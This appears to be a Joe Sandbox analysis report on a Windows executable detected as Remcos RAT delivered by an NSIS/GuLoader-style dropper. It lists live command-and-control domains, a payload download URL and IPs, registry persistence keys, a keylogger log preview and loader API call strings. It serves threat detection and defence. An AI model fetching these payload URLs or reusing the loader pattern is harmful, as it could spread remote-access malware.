Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manageri
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager]
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerY
Source: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, logs.dat.4.dr	Binary or memory string: [Program Manager]

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Code function: 0_2_004033D8 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004033D8

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 00000004.00000002.2910026299.00000000354EE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe PID: 1076, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Remote Access Functionality

Detected Remcos RAT

Source: C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-3DX9QW

Jump to behavior

Yara detected Remcos RAT

Source: Yara match	File source: 00000004.00000002.2910026299.00000000354EE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2890485500.0000000004F49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe PID: 1076, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Masquerading	11 Input Capture	31 Security Software Discovery	Remote Services	11 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	12 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	213 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	29%	ReversingLabs	Win32.Backdoor.Remcos
IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	16%	Virustotal		Browse
IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	100%	Avira	HEUR/AGEN.1337950

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe	100%	Avira	HEUR/AGEN.1337950
C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe	29%	ReversingLabs	Win32.Backdoor.Remcos

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
odumeje.duckdns.org	2%	Virustotal	Browse
odumegwu.duckdns.org	1%	Virustotal	Browse
bdias.com	0%	Virustotal	Browse
odumeje1.duckdns.org	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
odumeje.duckdns.org	0%	Avira URL Cloud	safe
https://bdias.com/zjMSeQNkb41.bin2	0%	Avira URL Cloud	safe
https://bdias.com/zjMSeQNkb41.bin/	0%	Avira URL Cloud	safe
https://bdias.com/	0%	Avira URL Cloud	safe
http://bdias.com/zjMSeQNkb41.binm	0%	Avira URL Cloud	safe
https://bdias.com/zjMSeQNkb41.bin	0%	Avira URL Cloud	safe
http://bdias.com/zjMSeQNkb41.bin	0%	Avira URL Cloud	safe
odumegwu.duckdns.org	0%	Avira URL Cloud	safe
http://bdias.com/zjMSeQNkb41.bine	0%	Avira URL Cloud	safe
odumeje1.duckdns.org	0%	Avira URL Cloud	safe
http://bdias.com/zjMSeQNkb41.binj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
odumeje.duckdns.org	192.169.69.26	true	true	2%, Virustotal, Browse	unknown
odumegwu.duckdns.org	192.169.69.26	true	true	1%, Virustotal, Browse	unknown
bdias.com	91.196.125.125	true	false	0%, Virustotal, Browse	unknown
odumeje1.duckdns.org	192.169.69.26	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
odumeje.duckdns.org	true	Avira URL Cloud: safe	unknown
https://bdias.com/zjMSeQNkb41.bin	false	Avira URL Cloud: safe	unknown
http://bdias.com/zjMSeQNkb41.bin	false	Avira URL Cloud: safe	unknown
odumegwu.duckdns.org	true	Avira URL Cloud: safe	unknown
odumeje1.duckdns.org	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_Error	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, Vaskegthed.exe.4.dr	false		high
https://bdias.com/zjMSeQNkb41.bin2	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bdias.com/zjMSeQNkb41.bin/	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bdias.com/	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bdias.com/zjMSeQNkb41.binm	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, Vaskegthed.exe.4.dr	false		high
http://bdias.com/zjMSeQNkb41.bine	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004ED8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bdias.com/zjMSeQNkb41.binj	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, 00000004.00000002.2890396068.0000000004F17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.169.69.26	odumeje.duckdns.org	United States		23033	WOWUS	true
91.196.125.125	bdias.com	Bulgaria		201200	SUPERHOSTING_ASBG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554912
Start date and time:	2024-11-13 08:17:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/14@8/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 88% Number of executed functions: 46 Number of non-executed functions: 62
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, PID 1076 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:19:30	API Interceptor	210x Sleep call for process: IMG635673567357735773573757875883587935775753Bjlkeloftet.exe modified
07:18:53	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Startup key C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe
07:19:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Startup key C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.169.69.26	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse	yuya0415.duckdns.org:1928/Vre
	confirmaci#U00f3n y correcci#U00f3n de la direcci#U00f3n de entrega.vbs	Get hash	malicious	Unknown	Browse	servidorarquivos.duckdns.org/e/e
	oKtkBYZMWl.exe	Get hash	malicious	Unknown	Browse	csacsadhe.duckdns.org/byfronbypass.html/css/mss/Arzgohi.mp3
	oKtkBYZMWl.exe	Get hash	malicious	Unknown	Browse	csacsadhe.duckdns.org/byfronbypass.html/css/mss/Arzgohi.mp3
	http://yvtplhuqem.duckdns.org/ja/	Get hash	malicious	Unknown	Browse	yvtplhuqem.duckdns.org/ja/
	http://fqqqffcydg.duckdns.org/en/	Get hash	malicious	Unknown	Browse	fqqqffcydg.duckdns.org/en/
	http://yugdzvsqnf.duckdns.org/en/	Get hash	malicious	Unknown	Browse	yugdzvsqnf.duckdns.org/en/
	&nuevo_pedido#..vbs	Get hash	malicious	Unknown	Browse	servidorarquivos.duckdns.org/e/e
	transferencia_Hsbc.xlsx	Get hash	malicious	Unknown	Browse	servidorarquivos.duckdns.org/e/e
	http://www.secure-0fflce-o365.duckdns.org/	Get hash	malicious	Unknown	Browse	www.secure-0fflce-o365.duckdns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
odumegwu.duckdns.org	CEBI_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	Remcos, GuLoader	Browse	143.244.46.150
odumegwu.duckdns.org	rIMGCY46473567583458675867864894698467458.exe	Get hash	malicious	Remcos, GuLoader	Browse	143.244.46.150

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SUPERHOSTING_ASBG	0GuwV0t2UU.exe	Get hash	malicious	FormBook, GuLoader	Browse	193.107.36.30
	0GuwV0t2UU.exe	Get hash	malicious	FormBook, GuLoader	Browse	193.107.36.30
	Rob.Kuster@stonhard.com.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	185.45.66.155
	zip file.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	185.45.66.155
	450707124374000811.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	450707124374000811.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	3507071243740008011.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
	Potwierdzenie.exe	Get hash	malicious	GuLoader	Browse	193.107.36.30
WOWUS	dceafff25f376bd3883f15c500fbfe369b45821fdbb0e.exe	Get hash	malicious	Nanocore	Browse	192.169.69.26
	qy8i3kM2Ir.exe	Get hash	malicious	GuLoader, Remcos	Browse	192.169.69.26
	Switzerland Clients Pax4.exe	Get hash	malicious	Remcos	Browse	192.169.69.26
	D786UcYWOs.exe	Get hash	malicious	Remcos	Browse	192.169.69.26
	Qc238InLS3.exe	Get hash	malicious	Remcos, DBatLoader	Browse	192.169.69.26
	17308803849407ff3cbe5ee21edb8fae9eea59dcec4bd1d0263a367346f607736e04b16058533.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.169.69.26
	1730880186ecae67588d8fe3bd5f8e7a4af4400ff7eccf3ad632a155a62b884ab04b24e2a4635.dat-decoded.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	192.169.69.26
	CDT.ps1	Get hash	malicious	AsyncRAT	Browse	192.169.69.26
	Reservation Detail Booking.com ID.bat	Get hash	malicious	AsyncRAT	Browse	192.169.69.26
	17305370455ddd9f41fcc9d1469d95fbed5a87a8d85a167a3e72e33b51453c780336bca79f314.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	192.169.69.26

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	fefbBqMKcU.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	91.196.125.125
	yh5At5T1Zs.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	91.196.125.125
	#U017diados#U0165 o cenov#U00fa ponuku_11-12-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader	Browse	91.196.125.125
	Solicitud de presupuesto 12-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	91.196.125.125
	Document BT24#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	91.196.125.125
	nvxdbat.dll.dll	Get hash	malicious	Latrodectus	Browse	91.196.125.125
	63#U2467.hta	Get hash	malicious	Unknown	Browse	91.196.125.125
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	91.196.125.125
	SK #Uacac#Uc801#Uc694#Uccad_#Uc6b8#Uc0b0#Uacf5#Uc7a5#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	91.196.125.125
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	91.196.125.125

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll	CEBI Order_ tlumaczenie dokumentow dostawy do CEBI PL11.10.24Frakoblet.exe	Get hash	malicious	Remcos	Browse
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse
	CEBI_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	Remcos, GuLoader	Browse
	rIMGCY46473567583458675867864894698467458.exe	Get hash	malicious	Remcos, GuLoader	Browse
	RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	GuLoader, Remcos	Browse
	rNuevo_Pedido_129149.exe	Get hash	malicious	GuLoader	Browse
	rNuevo_Pedido_129149.exe	Get hash	malicious	GuLoader	Browse
	zamowienie.exe	Get hash	malicious	GuLoader	Browse
	zamowienie.exe	Get hash	malicious	GuLoader	Browse
	HJEbEB40vP.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\ProgramData\remcos\logs.dat

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	data
Category:	dropped
Size (bytes):	156
Entropy (8bit):	3.400722866085902
Encrypted:	false
SSDEEP:	3:rhlKlfQlfVlPUlfKld4b5JWRal2Jl+7R0DAlBG45klovDl6ALilXl:6lfQlHslClCb5YcIeeDAlOWAAe3
MD5:	A4D4150BC786E9F3964B57011A3C02A8
SHA1:	D9AA7CC1054A819579F3A4DD60884441ACE5D062
SHA-256:	C55BCFD354EB570B7CA86541FF69FD7C42057C770C7764F9DAE8E0615AA62E6D
SHA-512:	7225E233DD2CAD86B6CE7AAEC377ADC207A6E3ED3A9423FFDBB4071DB550A3CFC230233FE204F3FDC193BC32F290417C50F05A24360498E9BEC8168280E840F5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Reputation:	low
Preview:	....[.2.0.2.4./.1.1./.1.3. .0.2.:.1.8.:.5.8. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.

C:\Users\user\AppData\Local\Temp\nsb535E.tmp

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.250903860294566
Encrypted:	false
SSDEEP:	3:sAAEVvjsiD84n:fLb
MD5:	5974087856E59BA1B1D228E39D15591A
SHA1:	43555CD275094990A54289FCA083E1F9E14AB8C7
SHA-256:	9D118DC7D563043A8EC352F7112AF2EAC3EBFFD11258E4924533FF4FD00BB771
SHA-512:	876D36CB1B3A22CD0686D04FD0830B7C15B67C4003D9C2CD67496D3F726B72544E64F9CD94BCD951C8EBA9E74CB1E2AAA0638552FD82BC5BDB547A6E28950082
Malicious:	false
Reputation:	low
Preview:	kernel32::ReadFile(i r5, i r1, i 58015744,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsb53FB.tmp

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsg52E0.tmp

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.483822629187616
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjDzdWxQoXUn:UWxvUn
MD5:	953EC092C39A753076F7BA3888679925
SHA1:	A658DB8C80E2175C08E026D20AE06DACDFC7E100
SHA-256:	46D1E26793406453E0DF203BBBF7A964247E33DC6C5A9D842A41ACEE70755E9D
SHA-512:	EA1730869E58239FD68489649305D5324DAC06ECC00B4F19BD4DC4C4138865F7A5948307FA33B6E69136B20B4D934E2EC01B8A7CD75F056E09FE738F0CA27C39
Malicious:	false
Reputation:	low
Preview:	kernel32::VirtualAlloc(i 0,i 58015744, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\Temp\nsp50AC.tmp

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.744994954995265
Encrypted:	false
SSDEEP:	192:gFiQJ77pJp17C8F1A5xjGNxrgFOgb7lrT/nC93:E7pJp48F2exrg5F/C
MD5:	12B140583E3273EE1F65016BECEA58C4
SHA1:	92DF24D11797FEFD2E1F8D29BE9DFD67C56C1ADA
SHA-256:	014F1DFEB842CF7265A3644BC6903C592ABE9049BFC7396829172D3D72C4D042
SHA-512:	49FFDFA1941361430B6ACB3555FD3AA05E4120F28CBDF7CEAA2AF5937D0B8CCCD84471CF63F06F97CF203B4AA20F226BDAD082E9421B8E6B62AB6E1E9FC1E68A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CEBI Order_ tlumaczenie dokumentow dostawy do CEBI PL11.10.24Frakoblet.exe, Detection: malicious, Browse Filename: DEMASI-24-12B DOC. SCAN.exe, Detection: malicious, Browse Filename: CEBI_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe, Detection: malicious, Browse Filename: rIMGCY46473567583458675867864894698467458.exe, Detection: malicious, Browse Filename: RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe, Detection: malicious, Browse Filename: rNuevo_Pedido_129149.exe, Detection: malicious, Browse Filename: rNuevo_Pedido_129149.exe, Detection: malicious, Browse Filename: zamowienie.exe, Detection: malicious, Browse Filename: zamowienie.exe, Detection: malicious, Browse Filename: HJEbEB40vP.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L....C.f...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...h....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsz4EC6.tmp

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	731660
Entropy (8bit):	7.930916861083211
Encrypted:	false
SSDEEP:	12288:E3cAEjowqtlkCSN+RgfcWNQDw9HSAcQ4A5uKrQrxco0+tNADhZebeEkOP:E3cAEjowDCC+R7ab9HSzJWoV07fDW
MD5:	A03DCB82D6ECAAB34CC6AE971A806C06
SHA1:	3BF367387AD278B154BD2AF42E7BEDF0F8676F6C
SHA-256:	4FC786009AD36DED81DFBD863802B06436B718112C35A505D447F6E0D31CBF8D
SHA-512:	A11A2C0E59CD229D6D8DE8EDB4322CA434E5931EF94BB1CF4C5435E891125CA8C0518A675277C36936FF47E71EAB7954CE17AAA36ABB0109CBF84087E9652352
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..F..F..F.....F..G.w.F.....F..v..F...@..F.Rich.F.........PE..L....C.f.................h...x.......3............@.......................................@.................................<........0...............................................................................................................text....f.......h.................. ..`.rdata..@............l..............@..@.data...8Q..........................@....ndata...0...............................rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\Bryggerheste128.lyd

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	data
Category:	dropped
Size (bytes):	70484
Entropy (8bit):	1.2548606107026976
Encrypted:	false
SSDEEP:	384:lVBk+mR+atFzygIkeailVBDgEmFUUbuTKZGxjRTtzj3ZkyK+8S11cFgQ65dot:Z++arrkavEmEgORTt3ms8Emd/
MD5:	798AB22DA8AE95CED1F8739AF1A02DCC
SHA1:	8426A4170A177A4A0C4C426DC5A9AC4701E4E121
SHA-256:	432BF73DB986527C23F8CCA77B14EB4EF071D72EBDD6EEEFA9CA79DFF48049E6
SHA-512:	2B661375F22A3547DE746483078E1AE58EC01D57DE322C995C72ADE9013FEED8CA6FEC360B2A1DFB2050E0F35EB603161EFD6D0CB64B43EEF9D00CDC19849C9C
Malicious:	false
Preview:	L...................................................j.............................m.........6.................l...........................................Q......................;...................................................t...................6......`..............".........................$.............^.....................L................................................/$...9...............................7.....................{............................................................*.............1...................................?..............&..V.......................................b......................................,.......X......................................................................................................!..............x.................q......................................?.............................N..:....................J.......$........3..................................z..9.........................................................

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\Herkomsts.Bre

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	data
Category:	dropped
Size (bytes):	136260
Entropy (8bit):	4.597341085882072
Encrypted:	false
